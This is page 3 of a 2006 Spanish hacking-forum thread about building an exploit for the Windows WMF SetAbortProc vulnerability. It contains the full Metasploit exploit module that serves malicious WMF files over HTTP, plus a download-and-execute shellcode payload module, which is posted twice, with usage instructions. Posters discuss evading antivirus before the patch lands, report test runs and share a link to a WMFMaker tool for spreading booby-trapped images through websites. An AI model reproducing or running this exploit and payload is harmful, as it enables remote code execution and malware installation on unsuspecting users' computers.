elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 09:20  


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Creacion del Exploit para WMF
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 2 [3] Ir Abajo Respuesta Imprimir
Autor Tema: Creacion del Exploit para WMF  (Leído 6,859 veces)
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #30 en: 5 Enero 2006, 18:26 »

hacer un merge con este de aqui


Citar
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::ie_xp_pfv_metafile;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced =
{
};

my $info =
{
'Name' => 'Windows XP/2003 Metafile Escape() SetAbortProc Code Execution',
'Version' => '$Revision: 1.9 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
'san <san [at] xfocus.org>',
'O600KO78RUS[at]unknown.ru'
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
to execute arbitrary code through the SetAbortProc procedure. This module
generates a random WMF record stream for each request.
}),

'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},

'Payload' =>
{
'Space' => 1000 + int(rand(256)) * 4,
'BadChars' => "\x00",
'Keys' => ['-bind'],
},
'Refs' =>
[
['BID', '16074'],
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MIL', '111'],
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - Windows XP / Windows 2003' ]
],

'Keys' => [ 'wmf' ],

'DisclosureDate' => 'Dec 27 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

my $httphost = $self->GetVar('HTTPHOST');
if ($httphost eq '0.0.0.0') {
$httphost = Pex::Utils::SourceIP('1.2.3.4');
}

$self->PrintLine("
  • Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);


# Read the HTTP command
my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);


if ($url !~ /\.wmf/i) {
$self->PrintLine("
  • HTTP Client connected from $rhost:$rport, redirecting...");

# XXX This could be replaced by obfuscated javascript too...

# Transmit the HTTP redirect response
$fd->Send(
"HTTP/1.0 302 Moved\r\n" .
RandomHeaders().
"Location: ". RandomPath() .".wmf\r\n" .
"Content-Type: text/html\r\n" .
"Content-Length: 0\r\n" .
"Connection: close\r\n" .
"\r\n"
);

$fd->Close();

return;
}

my $shellcode = $self->GetVar('EncodedPayload')->Payload;

# Push our minimum length just over the ethernet MTU
my $pre_mlen = 1440 + rand(8192);
my $suf_mlen = rand(8192)+128;

# The number of random objects we generated
my $fill = 0;

# The buffer of random bogus objects
my $pre_buff = "";
my $suf_buff = "";

while (length($pre_buff) < $pre_mlen && $fill < 65535) {
$pre_buff .= RandomWMFRecord();
$fill += 1;
}

while (length($suf_buff) < $suf_mlen && $fill < 65535) {
$suf_buff .= RandomWMFRecord();
$fill += 1;
}

my $clen = 18 + 8 + 6 + length($shellcode) + length($pre_buff) + length($suf_buff);
my $content =
#
# WindowsMetaHeader
#
pack('vvvVvVv',
# WORD FileType; /* Type of metafile (0=memory, 1=disk, 2=fjear) */
int(rand(2))+1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
0x0300,
# DWORD FileSize; /* Total size of the metafile in WORDs */
$clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
$fill+1,
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
int(rand(64)+8),
# WORD NumOfParams; /* Not Used (always 0) */
0
).
#
# Filler data
#
$pre_buff.
#
# StandardMetaRecord - Escape()
#
pack('Vvv',
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
0x0026, # Can also be 0xff26, 0x0626, etc...
# WORD Parameters[]; /* Parameter values passed to function */
9,
). $shellcode .
#
# Filler data
#
$suf_buff.
#
# Complete the structure
#
pack('Vv',
3,
0
);


$self->PrintLine("
  • HTTP Client connected from $rhost:$rport, sending ".length($shellcode)."
bytes of payload...");


# Transmit the HTTP response
my $req =
"HTTP/1.0 200 OK\r\n" .
"Content-Type: text/plain\r\n" .
RandomHeaders().
"Content-Length: " . length($content) . "\r\n" .
"Connection: close\r\n" .
"\r\n" .
$content;


my $res = $fd->Send($req);

# Prevents IE from throwing an error in some cases
select(undef, undef, undef, 0.1);

$fd->Close();

# The Content-Disposition trick was not very reliable (2003 ignores it)
# "Content-Disposition: inline; filename=". Pex::Text::AlphaNumText(int(rand(1024)+1)) .".jpg\r\n".
}


sub RandomWMFRecord {
my $type = int(rand(3));

if ($type == 0) {
# CreatePenIndirect
return pack('Vv',
8,
0x02FA
). Pex::Text::RandomData(10)
}
elsif ( $type == 1 ) {
# CreateBrushIndirect
return pack('Vv',
7,
0x02FC
). Pex::Text::RandomData(8)
}
else {
# Rectangle
return pack('Vv',
7,
0x041B
). Pex::Text::RandomData(8)
}
}


sub RandomHeaders {
my $self = shift;
my $head = '';

while (length($head) < 3072) {
$head .= "X-" .
Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
}
return $head;
}


sub RandomPath {
my $self = shift;
my $path = '';

while (length($path) < 1024) {
$path .= "/" . Pex::Text::AlphaNumText(int(rand(15) + 5));
}
return $path;
}

1;
En línea
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #31 en: 5 Enero 2006, 18:29 »

y como seria???, pues con esta tecnica de  de crear exploits en el metasploid

http://www.syngress.com/book_catalog/327_SSPC/sample.pdf

En línea
dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #32 en: 5 Enero 2006, 18:48 »

Aver este es el exploit q todos tenemos y hemos probado... pero alguien me a leido? XD hay q empezar a cambiar cabeceras YA! xq YA? xq hoy no hay parche mañana alomejor sacan un parche. Si alguien sabe como programar imagenes de este tipo... seria de gran ayuda.
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
lyssar

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #33 en: 5 Enero 2006, 19:03 »

Bueno... en teoria seria seguir la logica del exploit.....

Osea, utilizar las librerias, estructuras y metodos adecuados para generar WMFWords aleatorias y añadir el shellcode que nos permita bajar y ejecutar un archivo de internet...
y simplemente encadenar los trozos (cabecera+WMFword basura parte A+codigo Escape+shellcode+ WMFword basura parte B+fin archivo ) :)

¿No?
Porque el codigo que tiene el WMFMaker este para las wmfwords ya esta generado de antemano, por eso lo detectan los av  :-\
En línea
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #34 en: 5 Enero 2006, 23:18 »

leyendo la info de Man-In-the-Middle, casualmente un usuario de otro foro programo un payload para metasploit que baja y ejecuta un programa...y puede ser usado para rpc,lsass,pnp y Wmf...

Código:
package Msf::Payload::win32_downloadexec;

use strict;
use base 'Msf::PayloadComponent::NoConnection';

my $info =
{
    'Name'         => 'Windows Download and Exec Payload',
    'Version'      => '$Revision: 1.31 $',
    'Description'  => 'Download from a URL then Exec. Shellcode is from CnHonker.',
    'Authors'      => [ 'pita[at]mail.com', ],
    'Arch'         => [ 'x86' ],
    'Priv'         => 0,
    'OS'           => [ 'win32' ],
    'Size'         => '',
    'UserOpts'     =>
    {
        'URL' => [1, 'DATA', 'URL for download', 'http://www.eicar.org/download/eicar.com'],
    },
};

sub new
{
    my $class = shift;
    my $hash = @_ ? shift : { };
    my $self;

    $hash = $class->MergeHashRec($hash, {'Info' => $info});
    $self = $class->SUPER::new($hash, @_);
    $self->_Info->{'Size'} = $self->_GenSize;
   
    return($self);
}

sub Build {
  my $self = shift;
  return($self->Generate());
}

sub Generate {
  my $self = shift;
  my $url = $self->GetVar('URL');

  my $shellcode =
    "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x99\xE2\xFA".
    "\xEB\x05\xE8\xEB\xFF\xFF\xFF".
    "\x70\x4C\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12".
    "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A".
    "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6".
    "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D".
    "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A".
    "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58".
    "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9D\xC0".
    "\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41".
    "\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F\x8A\xCF\xDF\x19\xA7\x19".
    "\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCE".
    "\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99".
    "\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65\x12\x45\xC9\xCA\x66\xCE".
    "\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA".
    "\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xBF\x66\x66\x66\xDE".
    "\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDE\xFC".
    "\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB\xFC\xFA\xED\xF6\xEB\xE0".
    "\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xCD\xF1".
    "\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0".
    "\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99\xCC\xCB\xD5\xDD\xF6\xEE\xF7".
    "\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5\xFC\xD8\x99".
    $url.
    "\x80";

  return($shellcode);
}

sub _GenSize {
  my $self = shift;
  my $bin = $self->Generate('');
  return(length($bin));
}

1;

basta con poner este codigo en el directorio de payloads del metasploit bajo el nombre de ¨win32_downloadexec.pm¨.
Modo de Uso: PAYLOAD=win32_downloadexec URL=http://url.com/file.exe

Salu2

EDIT: El parche oficial para este defecto ya fue liberado, mas info y descarga en MI BLOG...XD
« Última modificación: 5 Enero 2006, 23:46 por mousehack » En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #35 en: 6 Enero 2006, 00:19 »

Testeado, manda el packet, perooooo no se man, ejecuta  al virtual machine

ntvdm.exe

y como que no veo Iexplorer , que hace los webdownloader

cundo yo ejecuto un webdownloader remotamente

sale en la lista de procesos un Iexplorer de forma steal, pero en este nada, solo ejecuta ntvdm.exe, a menos que lo carge en memoria y punto,  por que despues me puse a buscar el archivo de la URL

http://www37.megaupload.com/files/7a155572a34833971d3376dbacc80994/1.EXE                 (que es el notepad)

y nada, quien mas testea !!



En línea
javipkt

Desconectado Desconectado

Mensajes: 65


Ver Perfil WWW
Re: Creacion del Exploit para WMF
« Respuesta #36 en: 9 Enero 2006, 15:35 »

Ya hay una herramienta

citar

Citar
WMFMaker es un programa que permite crear imágenes en formato WMF (Windows MetaFile), que aprovechan una vulnerabilidad crítica en Graphics Rendering Engine. Ésta radica en el tratamiento de Windows 2003/XP/2000/Me/98 de los archivos WMF (Windows Meta File), por lo que se encuentran afectadas todas aquellas aplicaciones -como Internet Explorer y Outlook- que puedan procesar este tipo de ficheros. En la práctica, con WMFMaker pueden crearse imágenes que ejecuten cualquier tipo de código malicioso -como troyanos, gusanos o cualquier otro tipo de malware- en el ordenador afectado por el mencionado problema de seguridad.

WMFMaker está preparado para ser utilizado desde la línea de comandos, incluyendo la ruta completa de la herramienta y la del ejecutable que se desea incluir dentro del fichero WMF, y que será ejecutado en caso de aprovechar la citada vulnerabilidad. De este modo, se generará un fichero con extensión .wmf y cuyo nombre varía entre "evil.wmf", o el propio nombre del ejecutable incluido en él.

Las imágenes WMF maliciosas creadas por WMFMaker pueden ser distribuidas mediante diversos métodos como, por ejemplo, alojándola en una página web y convenciendo a usuarios de que la visiten. Si la víctima utiliza Internet Explorer, al visitar la web maliciosa puede provocarse la ejecución automática de código arbitrario. Sin embargo, si se utiliza otro navegador diferente, el usuario puede ser advertido de la descarga del archivo.

donde esta , sebe dios, curra con la segunda versiom, osea cada wmf es distinto
Por si no has encontrado todavía el wmf-maker. Aquí te lo dejo:
Código:
http://rapidshare.de/files/10479387/wmf-maker.rar.html
Salu2
En línea

TrOnNe

Desconectado Desconectado

Mensajes: 28



Ver Perfil
Re: Creacion del Exploit para WMF
« Respuesta #37 en: 5 Febrero 2006, 23:54 »

mousehack  y cuando se hace eso en la consola del framework... luego que se hace? xq no se guardan los cambios y nose meterlo luego en un wmf, hay que utilizar el wmfmaker junto con el pm? o como, muchas gracias

leyendo la info de Man-In-the-Middle, casualmente un usuario de otro foro programo un payload para metasploit que baja y ejecuta un programa...y puede ser usado para rpc,lsass,pnp y Wmf...

Código:
package Msf::Payload::win32_downloadexec;

use strict;
use base 'Msf::PayloadComponent::NoConnection';

my $info =
{
    'Name'         => 'Windows Download and Exec Payload',
    'Version'      => '$Revision: 1.31 $',
    'Description'  => 'Download from a URL then Exec. Shellcode is from CnHonker.',
    'Authors'      => [ 'pita[at]mail.com', ],
    'Arch'         => [ 'x86' ],
    'Priv'         => 0,
    'OS'           => [ 'win32' ],
    'Size'         => '',
    'UserOpts'     =>
    {
        'URL' => [1, 'DATA', 'URL for download', 'http://www.eicar.org/download/eicar.com'],
    },
};

sub new
{
    my $class = shift;
    my $hash = @_ ? shift : { };
    my $self;

    $hash = $class->MergeHashRec($hash, {'Info' => $info});
    $self = $class->SUPER::new($hash, @_);
    $self->_Info->{'Size'} = $self->_GenSize;
   
    return($self);
}

sub Build {
  my $self = shift;
  return($self->Generate());
}

sub Generate {
  my $self = shift;
  my $url = $self->GetVar('URL');

  my $shellcode =
    "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x99\xE2\xFA".
    "\xEB\x05\xE8\xEB\xFF\xFF\xFF".
    "\x70\x4C\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12".
    "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A".
    "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6".
    "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D".
    "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A".
    "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58".
    "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9D\xC0".
    "\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41".
    "\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F\x8A\xCF\xDF\x19\xA7\x19".
    "\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCE".
    "\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99".
    "\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65\x12\x45\xC9\xCA\x66\xCE".
    "\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA".
    "\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xBF\x66\x66\x66\xDE".
    "\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDE\xFC".
    "\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB\xFC\xFA\xED\xF6\xEB\xE0".
    "\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xCD\xF1".
    "\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0".
    "\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99\xCC\xCB\xD5\xDD\xF6\xEE\xF7".
    "\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5\xFC\xD8\x99".
    $url.
    "\x80";

  return($shellcode);
}

sub _GenSize {
  my $self = shift;
  my $bin = $self->Generate('');
  return(length($bin));
}

1;

basta con poner este codigo en el directorio de payloads del metasploit bajo el nombre de ¨win32_downloadexec.pm¨.
Modo de Uso: PAYLOAD=win32_downloadexec URL=http://url.com/file.exe

Salu2

EDIT: El parche oficial para este defecto ya fue liberado, mas info y descarga en MI BLOG...XD
En línea
Páginas: 1 2 [3] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines